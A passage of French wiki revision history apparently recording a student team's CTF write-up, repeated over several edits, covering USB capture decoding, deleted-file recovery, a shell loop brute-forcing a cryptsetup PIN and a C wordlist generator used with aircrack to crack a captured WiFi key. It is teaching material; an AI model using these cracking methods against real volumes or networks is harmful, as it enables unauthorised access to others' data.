On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
On utilise Wireshark pour visualiser les trames.<br />
On remarque un échange entre un périphérique et l'ordinateur.<br />
La seule data qui change est contenue à la fin du packet.<br />
Les PID et VID au début de la communication nous informent que le périphérique est une souris.<br />
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y<br />
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.<br />
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. <br />
<br />
cat audiodump.wav | tail -400<br />
<br />
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par <code>==</code> donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours sur une technique pas technique pour abuser de certaines personnes.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.<br />
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.<br />
Au bout d'une trentaine de minutes, la clé est cassée.<br />
<br />
Code C :<br />
#include <stdio.h><br />
<br />
int main() {<br />
char v[] = "aeiouy";<br />
char x[] = "zrtpqsdfghjklmwxcvbn";<br />
<br />
for (int a = 0; a < 20 ; a++) {<br />
for (int b = 0;b<6; b++) {<br />
for (int c = 0; c < 20 ; c++) {<br />
for (int d = 0;d<6; d++) {<br />
for (int e = 0; e < 20 ; e++) {<br />
for (int f = 0;f<6; f++) {<br />
for (int g = 0; g < 20 ; g++) {<br />
for (int h = 0;h<6; h++) {<br />
if (a==19 || c==19 || e==19 || g==19)<br />
printf("%c%c%c%c%c%c%c%c\n", x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
<br />
return 0;<br />
}<br />
</syntaxhighlight><br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.<br />
<br />
Script python utilisé sur le fichier 'test.json' comportant les données exportées en JSON :<br />
<br />
import itertools<br />
import json<br />
import matplotlib.pyplot as plt<br />
<br />
def main():<br />
packets_export_file = open('test.json')<br />
packets = json.load(packets_export_file)<br />
<br />
x_offsets = [int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.x"])<br />
for p in packets] <br />
<br />
y_offsets = [-int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.y"])<br />
for p in packets]<br />
<br />
x_positions = list(itertools.accumulate(x_offsets))<br />
y_positions = list(itertools.accumulate(y_offsets))<br />
<br />
plt.plot(x_positions, y_positions)<br />
plt.title("Mouse position")<br />
plt.xlabel("X")<br />
plt.ylabel("Y")<br />
plt.show()<br />
<br />
main()</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58330Cyber 2021/2022 G32022-01-20T13:02:05Z<p>Cgodet1 : /* Existe-t-il encore de vraies brutes ? */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
On utilise Wireshark pour visualiser les trames.<br />
On remarque un échange entre un périphérique et l'ordinateur.<br />
La seule data qui change est contenue à la fin du packet.<br />
Les PID et VID au début de la communication nous informent que le périphérique est une souris.<br />
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y<br />
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.<br />
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. <br />
<br />
cat audiodump.wav | tail -400<br />
<br />
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par <code>==</code> donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours sur une technique pas technique pour abuser de certaines personnes.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.<br />
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.<br />
Au bout d'une trentaine de minutes, la clé est cassée.<br />
<br />
Code C :<br />
<syntaxhighlight lang=C><br />
#include <stdio.h><br />
<br />
int main() {<br />
char v[] = "aeiouy";<br />
char x[] = "zrtpqsdfghjklmwxcvbn";<br />
<br />
for (int a = 0; a < 20 ; a++) {<br />
for (int b = 0;b<6; b++) {<br />
for (int c = 0; c < 20 ; c++) {<br />
for (int d = 0;d<6; d++) {<br />
for (int e = 0; e < 20 ; e++) {<br />
for (int f = 0;f<6; f++) {<br />
for (int g = 0; g < 20 ; g++) {<br />
for (int h = 0;h<6; h++) {<br />
if (a==19 || c==19 || e==19 || g==19)<br />
printf("%c%c%c%c%c%c%c%c\n", x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
<br />
return 0;<br />
}<br />
</syntaxhighlight><br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.<br />
<br />
Script python utilisé sur le fichier 'test.json' comportant les données exportées en JSON :<br />
<br />
import itertools<br />
import json<br />
import matplotlib.pyplot as plt<br />
<br />
def main():<br />
packets_export_file = open('test.json')<br />
packets = json.load(packets_export_file)<br />
<br />
x_offsets = [int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.x"])<br />
for p in packets] <br />
<br />
y_offsets = [-int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.y"])<br />
for p in packets]<br />
<br />
x_positions = list(itertools.accumulate(x_offsets))<br />
y_positions = list(itertools.accumulate(y_offsets))<br />
<br />
plt.plot(x_positions, y_positions)<br />
plt.title("Mouse position")<br />
plt.xlabel("X")<br />
plt.ylabel("Y")<br />
plt.show()<br />
<br />
main()</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58329Cyber 2021/2022 G32022-01-20T13:01:22Z<p>Cgodet1 : /* Existe-t-il encore de vraies brutes ? */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
On utilise Wireshark pour visualiser les trames.<br />
On remarque un échange entre un périphérique et l'ordinateur.<br />
La seule data qui change est contenue à la fin du packet.<br />
Les PID et VID au début de la communication nous informent que le périphérique est une souris.<br />
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y<br />
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.<br />
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. <br />
<br />
cat audiodump.wav | tail -400<br />
<br />
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par <code>==</code> donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours sur une technique pas technique pour abuser de certaines personnes.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.<br />
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.<br />
Au bout d'une trentaine de minutes, la clé est cassée.<br />
<br />
Code C :<br />
<code> <br />
#include <stdio.h><br />
<br />
int main() {<br />
char v[] = "aeiouy";<br />
char x[] = "zrtpqsdfghjklmwxcvbn";<br />
<br />
for (int a = 0; a < 20 ; a++) {<br />
for (int b = 0;b<6; b++) {<br />
for (int c = 0; c < 20 ; c++) {<br />
for (int d = 0;d<6; d++) {<br />
for (int e = 0; e < 20 ; e++) {<br />
for (int f = 0;f<6; f++) {<br />
for (int g = 0; g < 20 ; g++) {<br />
for (int h = 0;h<6; h++) {<br />
if (a==19 || c==19 || e==19 || g==19)<br />
printf("%c%c%c%c%c%c%c%c\n", x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
<br />
return 0;<br />
}<br />
</code><br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.<br />
<br />
Script python utilisé sur le fichier 'test.json' comportant les données exportées en JSON :<br />
<br />
import itertools<br />
import json<br />
import matplotlib.pyplot as plt<br />
<br />
def main():<br />
packets_export_file = open('test.json')<br />
packets = json.load(packets_export_file)<br />
<br />
x_offsets = [int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.x"])<br />
for p in packets] <br />
<br />
y_offsets = [-int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.y"])<br />
for p in packets]<br />
<br />
x_positions = list(itertools.accumulate(x_offsets))<br />
y_positions = list(itertools.accumulate(y_offsets))<br />
<br />
plt.plot(x_positions, y_positions)<br />
plt.title("Mouse position")<br />
plt.xlabel("X")<br />
plt.ylabel("Y")<br />
plt.show()<br />
<br />
main()</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58327Cyber 2021/2022 G32022-01-20T13:00:44Z<p>Cgodet1 : /* Existe-t-il encore de vraies brutes ? */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
On utilise Wireshark pour visualiser les trames.<br />
On remarque un échange entre un périphérique et l'ordinateur.<br />
La seule data qui change est contenue à la fin du packet.<br />
Les PID et VID au début de la communication nous informent que le périphérique est une souris.<br />
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y<br />
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.<br />
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. <br />
<br />
cat audiodump.wav | tail -400<br />
<br />
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par <code>==</code> donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours sur une technique pas technique pour abuser de certaines personnes.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.<br />
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.<br />
Au bout d'une trentaine de minutes, la clé est cassée.<br />
<br />
Code C : <br />
#include <stdio.h><br />
<br />
int main() {<br />
char v[] = "aeiouy";<br />
char x[] = "zrtpqsdfghjklmwxcvbn";<br />
<br />
for (int a = 0; a < 20 ; a++) {<br />
for (int b = 0;b<6; b++) {<br />
for (int c = 0; c < 20 ; c++) {<br />
for (int d = 0;d<6; d++) {<br />
for (int e = 0; e < 20 ; e++) {<br />
for (int f = 0;f<6; f++) {<br />
for (int g = 0; g < 20 ; g++) {<br />
for (int h = 0;h<6; h++) {<br />
if (a==19 || c==19 || e==19 || g==19)<br />
printf("%c%c%c%c%c%c%c%c\n", x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
}<br />
<br />
return 0;<br />
}<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.<br />
<br />
Script python utilisé :<br />
<br />
import itertools<br />
import json<br />
import matplotlib.pyplot as plt<br />
<br />
def main():<br />
packets_export_file = open('test.json')<br />
packets = json.load(packets_export_file)<br />
<br />
x_offsets = [int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.x"])<br />
for p in packets] <br />
<br />
y_offsets = [-int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.y"])<br />
for p in packets]<br />
<br />
x_positions = list(itertools.accumulate(x_offsets))<br />
y_positions = list(itertools.accumulate(y_offsets))<br />
<br />
plt.plot(x_positions, y_positions)<br />
plt.title("Mouse position")<br />
plt.xlabel("X")<br />
plt.ylabel("Y")<br />
plt.show()<br />
<br />
main()</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58322Cyber 2021/2022 G32022-01-20T12:58:23Z<p>Cgodet1 : /* Déchiffrer le manuscrit */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
On utilise Wireshark pour visualiser les trames.<br />
On remarque un échange entre un périphérique et l'ordinateur.<br />
La seule data qui change est contenue à la fin du packet.<br />
Les PID et VID au début de la communication nous informent que le périphérique est une souris.<br />
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y<br />
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.<br />
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. On trouve sur internet de quel type de donnée il s'agit pour le bloc, que l'on peut convertir en image. L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours sur une technique pas technique pour abuser de certaines personnes.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
OK<br />
<br />
= Déjà vu =<br />
<br />
